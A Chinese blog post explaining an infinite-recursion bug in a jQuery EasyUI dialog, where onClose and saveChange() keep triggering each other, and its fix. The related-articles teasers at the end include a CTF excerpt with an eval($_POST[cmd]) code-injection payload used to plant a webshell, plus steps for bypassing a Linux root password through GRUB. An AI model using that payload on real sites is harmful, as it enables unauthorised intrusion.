Uncaught InternalError: too much recursion

今天在敲代码的时候偶然间发现项目因为一次操作导致浏览器变得非常卡,而且控制台还报错了

Uncaught InternalError: too much recursior

页面截图如下 :

突如起来的报错和页面异常卡顿给我整不会了ovo,点开报错的地方,直接跳转到对应的代码

/*** 保存菜单树的修改*/
function saveChange() {/*** 保存权限树的修改*/let row = $("#role_list").datalist("getSelected");if (row) {if (insertIds.length > 0 || deleteIds.length > 0) {let data = new FormData();data.append("roleId", row.id);if (insertIds.length > 0) {data.append("insertIds", insertIds);}if (deleteIds.length > 0) {data.append("deleteIds", deleteIds);}postForm("/role_permission/distribute", data, function (resp) {insertIds = [];deleteIds = [];showMsg(resp.message);$("#permission_tree").tree("reload");}, error);}}if (displayIds.length > 0 || hideIds.length > 0) {let data = new FormData();if (displayIds.length > 0) {data.append("displayIds", displayIds);}if (hideIds.length > 0) {data.append("hideIds", hideIds);}postForm("/user_menu/control", data, function (resp) {hideIds = [];displayIds = [];showMsg(resp.message);$("#menu_tree").tree("reload");}, error);}$("#system_window").dialog("close");
}$(function() {    $("#system_window").dialog({title: "系统设置",modal: true,closed: true,closable: true,draggable: false,onClose: function () {saveChange();},buttons: [{iconCls: "icon-ok",text: "确定",handler: function() {saveChange();}}]});});

看到这个代码,我愣了一下,这怎么会报错呢?

但是经过我三分钟的思考,发现原来是因为onClose()事件被反复触发了,导致页面卡顿。

第一次触发onClose事件是点击确定按钮的时候,saveChange()方法的最后一句代码主动关闭对话框。然后这个操作又会触发onClose事件,再次调用saveChange()方法,然后就进入了无限循环,直到报错才停止!

$("#system_window").dialog("close");

问题找到了,把绑定的onClose()事件删掉,问题完美解决~

    $("#system_window").dialog({title: "系统设置",modal: true,closed: true,closable: true,draggable: false,buttons: [{iconCls: "icon-ok",text: "确定",handler: function() {saveChange();}}]});

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/701652.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据丢失了!如何恢复手机数据?

“下雨天手机丢失了,找回来的时候以前的数据都丢失了,也不知道发生了什么!全都是重要的数据和回忆,丢失后给我带来了不少麻烦,有没有办法能够帮我找回手机里的数据啊?” 随着智能手机的普及,我…

风电功率预测 | 基于RF随机森林的风电功率预测(附matlab完整源码)

风电功率预测 风电功率预测完整代码风电功率预测 基于随机森林(Random Forest, RF)的风电功率预测是一种常用且有效的方法。以下是基于RF的风电功率预测的一般步骤: 数据准备:收集与风电场发电功率相关的数据,包括风速、风向、温度、湿度等气象数据以及风电场的历史功率数…

i春秋-Test

题目 解题 参考WP https://blog.csdn.net/qq_40654505/article/details/107142533/目录扫描 复现wp payload为: search.php?searchtype5&tid&areaeval($_POST[cmd])使用蚁剑连接 http://eci-2ze4iyhwj7xvb68bsb2t.cloudeci1.ichunqiu.com:80/search.ph…

10,hadoop优化与LZO压缩

hadoop多目录与LZO压缩 1.HDFS存储多目录 存储多目录: namenode, datanode namenode: 可以在当前节点中创建几个 namenode的多目录, 就是 虽说可以是多个目录,但是这个namenode多目录中,内容都是一样, 就…

Elasticsearch分词及其自定义

文章目录 分词发生的阶段写入数据阶段执行检索阶段 分词器的组成字符过滤文本切分为分词分词后再过滤 分词器的分类默认分词器其他典型分词器 特定业务场景的自定义分词案例实战问题拆解实现方案 分词发生的阶段 写入数据阶段 分词发生在数据写入阶段,也就是数据索…

PHP 自提时间

前端: 后台设置: 代码: public function getBusinessHour(){// 需求单门店$data (new StoreModel())->limit(1)->select()->toArray();$days explode(,, $data[0][shop_hours]);$businessHours $days[1];// 使用 explode 分割字符串,获取开始和结束时…

Leetcode 第 129 场双周赛题解

Leetcode 第 129 场双周赛题解 Leetcode 第 129 场双周赛题解题目1:3127. 构造相同颜色的正方形思路代码复杂度分析 题目2:3128. 直角三角形思路代码复杂度分析 题目3:3129. 找出所有稳定的二进制数组 I思路代码复杂度分析 题目4:…

LLM应用-prompt提示:让大模型总结生成思维导图

第一步:大模型生成markdown思维导图格式 例如:kimi 总结pdf文档案例: 生成的markdown格式: # 知识图谱的构建及应用 ## 一、知识图谱的构建 ### 1. 数据采集 - 来源:结构化数据库、半结构化网页、非结构化文本 - 预处…

2024年小学生古诗文大会备考:吃透历年真题和知识点(持续)

根据往年的安排,2024年小学生古诗文大会预计这个月就将启动。该如何备考2024年小学生古诗文大会呢?根据往期的经验,只要吃透这些真题和背后的知识点,通过上海小学生古诗文大会的初选(初赛)一点问题都没有。…

LeetCode 126题:单词接龙 II

❤️❤️❤️ 欢迎来到我的博客。希望您能在这里找到既有价值又有趣的内容,和我一起探索、学习和成长。欢迎评论区畅所欲言、享受知识的乐趣! 推荐:数据分析螺丝钉的首页 格物致知 终身学习 期待您的关注 导航: LeetCode解锁100…

【源码】Spring Data JPA原理解析之Repository的自动注入(一)

Spring Data JPA系列 1、SpringBoot集成JPA及基本使用 2、Spring Data JPA Criteria查询、部分字段查询 3、Spring Data JPA数据批量插入、批量更新真的用对了吗 4、Spring Data JPA的一对一、LazyInitializationException异常、一对多、多对多操作 5、Spring Data JPA自定…

单用户模式破解root密码

目录 一. 破解root密码 1. 查看操作系统版本 2.重启系统,进入grub菜单,选择要使用的内核,按e进入​编辑 3. 找到linux16那一行,把光标移动到最后,添加 init/bin/sh 然后ctrlx保存退出会自动进入系统 4. 进入系统后…